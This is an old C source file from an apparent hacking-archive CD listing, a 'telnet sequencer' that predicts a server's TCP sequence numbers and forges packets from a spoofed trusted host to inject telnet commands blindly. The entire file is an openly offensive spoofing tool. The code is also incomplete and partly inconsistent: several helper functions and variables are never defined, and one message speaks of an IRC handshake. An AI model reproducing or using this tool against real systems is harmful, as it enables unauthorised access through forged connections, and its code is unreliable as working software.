home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / hacking / virriiorg / telspoof.c < prev    next >
Encoding:
C/C++ Source or Header  |  1996-04-23  |  4.4 KB  |  153 lines

  1. /*                                */
  2. /* tELNET SEQUENCER v0.0001 = DEVELOPED BY VECT0R-X */
  3. /* Under Solaris try:                        */
  4. /*    gcc x.c -lsocket -lnsl -L/usr/ucblib -lucb        */
  5.  
  6. #include "/usr/include/netinet/tcp.h"
  7. #include <fcntl.h>
  8.  
  9. unsigned long sourceport   = 1036;
  10. unsigned long dest, spoofed, src, nseq, tarport, temp;
  11. char str[255], *string;
  12. char buf[4096];
  13. char spoofdir[10], *spoofid;
  14. char spoofbuf[42];
  15. int len, rec, sen, i=1, adder=128000, stringlen=0;
  16. int spooffd, spooflen;
  17. struct sockaddr_in addr, spoofedaddr;
  18. struct hostent *host;
  19.  
  20. void main(int argc, char *argv[])
  21. {
  22.     unsigned long fakesequence = 408618+getpid();
  23.     sourceport+=getpid();
  24.  
  25.     printf("tELNET SEQUENCE - Writtin by vect0rx.\n\n");
  26.  
  27.     if (argc != 5) {
  28.         fprintf(stderr,"Usage: %s <server> <port> <spoof> {1|2}\n\n",argv[0]);
  29.         fprintf(stderr,"        <server> - Site spoof is attempted on.\n");
  30.         fprintf(stderr,"          <port> - Port to access on <server>.\n");
  31.         fprintf(stderr,"         <spoof> - Host to appear from.\n");
  32.         fprintf(stderr,"                   1 - Offset of 128000 (common).\n");
  33.         fprintf(stderr,"                   2 - Offset of 64000 (not likely).\n\n");
  34.         exit(1);
  35.     }
  36.     tarport = atoi(argv[2]);
  37.         if (argv[4][0] == '2') adder=64000;
  38.  
  39.     memset(&spoofedaddr,0,sizeof(spoofedaddr));
  40.     spoofedaddr.sin_family = AF_INET;
  41.     if ((spoofedaddr.sin_addr.s_addr = inet_addr(argv[3])) == -1) {
  42.         if ((host = gethostbyname(argv[3])) == NULL) {
  43.             printf("Unknown host %s.\n",argv[3]);
  44.             exit(1);
  45.         }
  46.         spoofedaddr.sin_family = host->h_addrtype;
  47.         memcpy((caddr_t) &spoofedaddr.sin_addr,host->h_addr,host->h_length);
  48.     }
  49.     memcpy(&spoofed,(char *)&spoofedaddr.sin_addr.s_addr,4);
  50.  
  51.     memset(&addr,0,sizeof(addr));
  52.     addr.sin_family = AF_INET;
  53.     if ((addr.sin_addr.s_addr = inet_addr(argv[1])) == -1) {
  54.         if ((host = gethostbyname(argv[1])) == NULL) {
  55.             printf("Unknown host %s.\n",argv[1]);
  56.             exit(1);
  57.         }
  58.         addr.sin_family = host->h_addrtype;
  59.         memcpy((caddr_t) &addr.sin_addr,host->h_addr,host->h_length);
  60.     }
  61.     memcpy(&dest,(char *)&addr.sin_addr.s_addr,4);
  62.  
  63.     if ((rec = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
  64.         perror("error: recv socket");
  65.         exit(1);
  66.     }
  67.  
  68.     if ((sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  69.         perror("error: send socket");
  70.         exit(1);
  71.     }
  72.  
  73.     sen = openintf("ppp0");
  74.  
  75. #ifdef IP_HDRINCL
  76.     fprintf(stderr,"IP_HDRINCL is set\n");
  77.     if (setsockopt(sen,IPPROTO_IP,IP_HDRINCL,(char *)&i,sizeof(i)) < 0) {
  78.         perror("setsockopt IP_HDRINCL");
  79.         exit(1);
  80.     };
  81. #endif
  82.  
  83.     gethostname(buf, 128);
  84.     if ((host=gethostbyname(buf))==NULL) {
  85.         fprintf(stderr, "Can't get my hostname!?\n");
  86.         exit(1);
  87.     }
  88.     memcpy(&src,host->h_addr,4);
  89.  
  90.  
  91.         sendtcppacket(sen, src, dest, &addr, TH_SYN, sourceport,
  92.             tarport, fakesequence, 0, NULL, 0);
  93.  
  94.     for (;;) {
  95.         gettcppacket(rec,buf,sizeof(buf));
  96.         ip = (struct iphdr *) buf;
  97.         if (ip->saddr != dest) continue;
  98.         len = ip->ihl << 2;
  99.         tcp = (struct tcphdr *) (buf+len);
  100.             if (ntohs(tcp->th_dport)==sourceport && ntohs(tcp->th_sport)==tarport) {
  101.                     temp=htonl(tcp->th_seq);
  102.             nseq=temp; 
  103.             nseq+=adder;
  104.             printf("Sequence returned is %lu, Offset is %lu\n",
  105.                 nseq, adder);
  106.             sendtcppacket(sen, src, dest, &addr, TH_RST, sourceport,
  107.                     tarport, fakesequence, 0, NULL, 0);
  108.                     break; /* out of for loop */
  109.             }
  110.     }
  111.     
  112.     sendtcppacket(sen,spoofed,dest,&spoofedaddr,TH_SYN,sourceport,
  113.             tarport,fakesequence,0,NULL,0);
  114.         printf("SYN Devilered, Waiting on SYN/ACK reply.\n"); fflush(stdout);
  115.     usleep(10000);
  116.         
  117.     sendtcppacket(sen,spoofed,dest,&spoofedaddr,TH_ACK,sourceport,
  118.             tarport,++fakesequence,++nseq,NULL,0);
  119.         printf("ACK Devilered, Assuming safe to send data.\n"); fflush(stdout);
  120.         usleep(5000);
  121.  
  122.         printf("Sending irc client handshake.\n"); fflush(stdout);
  123.         
  124.             strcat(spoofdir, "./telnet.d");
  125.                 spooffd = open(spoofdir, O_RDONLY);
  126.                  if (spooffd < 0) {
  127.             perror("open: ");
  128.             exit(0);
  129.             }
  130.             else
  131.             {    
  132.             spooflen = read(spooffd, spoofbuf, sizeof(spoofbuf));
  133.             spoofid = strtok(spoofbuf, "\r\n");
  134.         }
  135.         stringlen = strlen(spoofid);
  136.     sendtcppacket(sen,spoofed,dest,&spoofedaddr,TH_ACK|TH_PUSH,sourceport,
  137.             tarport,fakesequence,nseq,spoofid,stringlen);
  138.         fakesequence+=stringlen;
  139.  
  140.     for(;;) {
  141.           printf("telnet:%s> ", argv[1]); fflush(stdout);
  142.           string = fgets(str, 255, stdin); 
  143.           stringlen = strlen(string);
  144.         
  145.         sendtcppacket(sen,spoofed,dest,&spoofedaddr,TH_ACK|TH_PUSH,sourceport,
  146.             tarport,fakesequence,nseq,string,stringlen);
  147.         fakesequence+=stringlen;
  148.     }
  149.  
  150. }
  151. /*
  152. */
  153.